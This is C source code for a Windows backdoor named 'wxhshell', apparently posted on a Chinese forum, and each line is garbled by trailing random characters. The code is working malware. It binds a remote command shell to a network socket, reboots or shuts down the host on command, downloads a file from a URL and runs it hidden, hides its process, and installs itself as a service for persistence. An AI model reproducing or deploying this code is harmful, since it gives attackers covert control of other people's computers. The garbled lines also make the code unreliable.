  } m%0 -3c(  
  else { k`5I"-e  
*)K\&h<{  
    switch(cmd[0]) { 1L,L/sOwB&  
  R-%6v2;ry  
  // 帮助 $0$sM/%  
  case '?': { NP;W=A F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0AHQ(+Ap  
    break; tV !?Ol  
  } t:2DB)  
  // 安装 $udhTI#,  
  case 'i': { 44KoOY_  
    if(Install()) N3"JouP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <0d2{RQ;  
    else  G*z\ ^H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'K4FS(q  
    break; hywcj\[  
    } ^QNc!{`  
  // 卸载 =~ Uhr6Q  
  case 'r': { I|rb"bG  
    if(Uninstall()) SIp)&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #*bmwb*i  
    else y#'hOSR2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )$]lf }  
    break; 4r(0+SO  
    } o 2 ng  
  // 显示 wxhshell 所在路径 vM/*S 6[  
  case 'p': { Z3]I^i FI  
    char svExeFile[MAX_PATH]; 9gg{i6  
    strcpy(svExeFile,"\n\r"); m!7%5=Fc  
      strcat(svExeFile,ExeFile); \Kf\%Q  
        send(wsh,svExeFile,strlen(svExeFile),0); )- W1Wtom  
    break; zT>!xGTu7~  
    } 6*i **  
  // 重启 G _cJI  
  case 'b': { F*P0=DD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^;EhKG  
    if(Boot(REBOOT)) $Ivjcs:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {R_>KE1  
    else { tA#Pc6zBuC  
    closesocket(wsh); :|;@FkQ  
    ExitThread(0); ^}+\52w  
    } >._d2.Q'  
    break; Uxjc&o  
    } -leX|U}k  
  // 关机 Q]9$dr=Kk0  
  case 'd': { r *K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ! JA;0[;l=  
    if(Boot(SHUTDOWN)) Cu7{>"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 529b. |  
    else { =Pv_,%  
    closesocket(wsh); ~ *&\5rPb  
    ExitThread(0); y?OP- 27y  
    } \:;MFG'  
    break; irQ'Rm [  
    } 6 \8d6x>  
  // 获取shell (fpz",[  
  case 's': { D;+/ bll7  
    CmdShell(wsh); IQJ"B6U)  
    closesocket(wsh); B[Lm}B[  
    ExitThread(0); ]LB_ @#  
    break; Z8E<^<|  
  } ~A>fB2.pM  
  // 退出 yz68g?"  
  case 'x': { M5no4P<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =e6p v#  
    CloseIt(wsh); j !*,(  
    break; [oh06_rB  
    } zA5nr`  
  // 离开 `O6#-<>  
  case 'q': { F;Q,cg M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s!(R  
    closesocket(wsh); L3{(B u  
    WSACleanup(); G|,&V0*  
    exit(1); -K/+}4i3N  
    break; [|:{qQyD  
        } zyS8LZ-y9  
  } uZ?P{E,K  
  } vx9!KWy}  
4A J]qu  
  // 提示信息 JX0M3|I=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ox&5} &\  
} 3%*igpj\)  
  } z3a GK  
5Od%Jhtt  
  return; PIH\*2\/  
} 4|PWR_x  
{]>c3=~FQb  
// shell模块句柄 Ql{#dcRx  
int CmdShell(SOCKET sock) r<0E[ ~  
{ *duG/?>P  
STARTUPINFO si; dBI-y6R  
ZeroMemory(&si,sizeof(si)); Y|R=^ =d\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _9>,9aL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hf('BagBL  
PROCESS_INFORMATION ProcessInfo; SRfh{u  
char cmdline[]="cmd"; m]?Z_*1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9\"\7S/Z  
  return 0; btg= # u  
} b d 1^  
}{F)Ren  
// 自身启动模式 Pk;w.)kT  
int StartFromService(void) CFFb>d  
{ `ArUoYb B  
typedef struct %* 0GEfl/  
{ v\@qMaPY  
  DWORD ExitStatus; 5[;[Te9=S  
  DWORD PebBaseAddress; e_b,{l#  
  DWORD AffinityMask; Ii+3yE@c  
  DWORD BasePriority; $U[d#:]  
  ULONG UniqueProcessId; 1>e30Ri,g  
  ULONG InheritedFromUniqueProcessId; 0~U0s3  
}   PROCESS_BASIC_INFORMATION; 1]If< <  
s* GZOz  
PROCNTQSIP NtQueryInformationProcess; \kQ)fk]^  
 ]~;*9`:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LtB5;ByeQ0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?d%)R*3IX  
pwN2Nzski  
  HANDLE             hProcess; l`\L@~ln  
  PROCESS_BASIC_INFORMATION pbi; d.f0OhQ  
=b%f@x_U1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s:_hsmc"  
  if(NULL == hInst ) return 0; !`_f  
IBNg2Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GXZ="3W |  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qm[((6}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i$y=tJehi  
bkJ bnW=  
  if (!NtQueryInformationProcess) return 0; .6gx|V+  
 ,t 2CQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uUfw"*D  
  if(!hProcess) return 0; o'lG9ePM|  
%R$)bGT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q.J6'v lj/  
SAnr|<Y/  
  CloseHandle(hProcess); 3X(^`lAf)  
ZSNbf|ldiE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vu(NP\Wm  
if(hProcess==NULL) return 0; 6 :4GI  
;Pk"mC  
HMODULE hMod; OD'~t,St  
char procName[255]; {APfSD_4  
unsigned long cbNeeded; O ?T~>|  
mRx `G(u:v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ])?dqgwa  
B <s+I#  
  CloseHandle(hProcess); H s)]  
r)S:= Is5  
if(strstr(procName,"services")) return 1; // 以服务启动 I~l_ky|a !  
S+06pj4Ie  
  return 0; // 注册表启动 |6d:k~p  
} HJr/N)d  
6teu_FS  
// 主模块 L~ax`i1:"  
int StartWxhshell(LPSTR lpCmdLine) XF: wsC  
{ Sp[9vlo8  
  SOCKET wsl; q5g_5^csM{  
BOOL val=TRUE; HZ<#H3_ix  
  int port=0; il >+jVr  
  struct sockaddr_in door; }F1Asn  
.U(6])%;@  
  if(wscfg.ws_autoins) Install(); iY>x x~V  
#4|RaI|.  
port=atoi(lpCmdLine); 9y\nO)\Tv  
w8D8\`i!"  
if(port<=0) port=wscfg.ws_port; &K]|{1+  
pXNhU88  
  WSADATA data; V.3#O^S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ybJa:  
,;6%s>Cvd(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I&|8 qx#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  fp||<B  
  door.sin_family = AF_INET; qF3S\ C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gS(JgN  
  door.sin_port = htons(port); _$*-?*V&  
;2h"YU-b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cV:Q(|QC  
closesocket(wsl); 6iQqOAG  
return 1; Yaq0mef0  
} _x5-!gK  
2^s&#@n3t  
  if(listen(wsl,2) == INVALID_SOCKET) { NTJ,U2  
closesocket(wsl); S ?t `/"O  
return 1; F@/syX;bb5  
} TJ>YJ D  
  Wxhshell(wsl); kk126?V]_  
  WSACleanup(); e77s?WxbK  
W9cvxsox  
return 0; Nj6Np^@sH  
fx 08>r   
} L,_U co  
-C^qN7Bz  
// 以NT服务方式启动 gu3)HCZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >`3 0 ib  
{ NO*~C',cI/  
DWORD   status = 0; ^ &KH|qRrO  
  DWORD   specificError = 0xfffffff; y3*IF2G  
fo}@B &=4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JBQ>"X^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5YZ\@<|rH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @W+8z#xr'  
  serviceStatus.dwWin32ExitCode     = 0; ,,XHw;{  
  serviceStatus.dwServiceSpecificExitCode = 0; w;VUP@Wm  
  serviceStatus.dwCheckPoint       = 0; "~C \Z} ;  
  serviceStatus.dwWaitHint       = 0; |RpZr!3V  
qyyLU@hd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i_6wD  
  if (hServiceStatusHandle==0) return; R U[  
&m(eMX0lU  
status = GetLastError(); 5NSXSR9c  
  if (status!=NO_ERROR) Rpcnpo  
{ 2b {Y1*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'H1"z!]  
    serviceStatus.dwCheckPoint       = 0; + $~HRbo  
    serviceStatus.dwWaitHint       = 0; AO$aWyI  
    serviceStatus.dwWin32ExitCode     = status; ^1}ffE(3>  
    serviceStatus.dwServiceSpecificExitCode = specificError; (I`< ;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hy"p8j7_  
    return; x2i`$iNhmP  
  } etW-gbr  
/C<} :R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a(o[ bH.|;  
  serviceStatus.dwCheckPoint       = 0; /7*qa G  
  serviceStatus.dwWaitHint       = 0; [0+5 Gx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zJ0'KHF}o  
} 8/34{2048  
nDC5/xB  
// 处理NT服务事件,比如:启动、停止 gp'n'K]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gvZLW!={  
{ qfY=!|O  
switch(fdwControl) ,@gDY9Q3r/  
{ DA4!-\bt@  
case SERVICE_CONTROL_STOP: X>jwjRK $  
  serviceStatus.dwWin32ExitCode = 0; q33!X!br  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uP ?gGo  
  serviceStatus.dwCheckPoint   = 0; \;tKss!|  
  serviceStatus.dwWaitHint     = 0; qpc2;3*7  
  { S4~;bsSx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tX *L_  
  } CtDS lJ  
  return; PzTTL=G +  
case SERVICE_CONTROL_PAUSE: EZiGi[t7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sXC]{] P  
  break; ZsPBs4<p  
case SERVICE_CONTROL_CONTINUE: ;lWy?53=@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NU/~E"^I.  
  break; 1[`l`Truz  
case SERVICE_CONTROL_INTERROGATE: b_Ky@kp  
  break; eEe8T=mD  
}; ]i]sgg[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?t.?f`(|  
} f{Y|FjPp=E  
cl7+DAE  
// 标准应用程序主函数 zck |jhJ6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .'AHIR&>  
{ "/XS3s v"s  
e]X9"sd0=  
// 获取操作系统版本 j'0*|f^z  
OsIsNt=GetOsVer(); /0YNB)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vDOeBw=  
KF-gcRh  
  // 从命令行安装 XY QUU0R  
  if(strpbrk(lpCmdLine,"iI")) Install(); <ct{D|mm  
.y[K =p3  
  // 下载执行文件 $l[*Y  
if(wscfg.ws_downexe) { 1@qb.9wZ6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +Vf|YLbhJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); S(-=I!.G{  
} yZ)ScB^  
s*#|EdD6@  
if(!OsIsNt) { IA!ixabG  
// 如果时win9x,隐藏进程并且设置为注册表启动 cwC, VYVl  
HideProc(); J2[QHr&tn  
StartWxhshell(lpCmdLine); qP<,"9!I  
} \T]"pE+8l  
else UZX)1?U  
  if(StartFromService()) >qUO_>  
  // 以服务方式启动 8"* $e I5  
  StartServiceCtrlDispatcher(DispatchTable); Iq}h}Wd  
else |~CnELF)  
  // 普通方式启动 ng<`2XgU  
  StartWxhshell(lpCmdLine); gS|xicq!  
}EIwkz8  
return 0; )L hO}zQ  
}
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只看该作者 1 发表于: 2006-10-10
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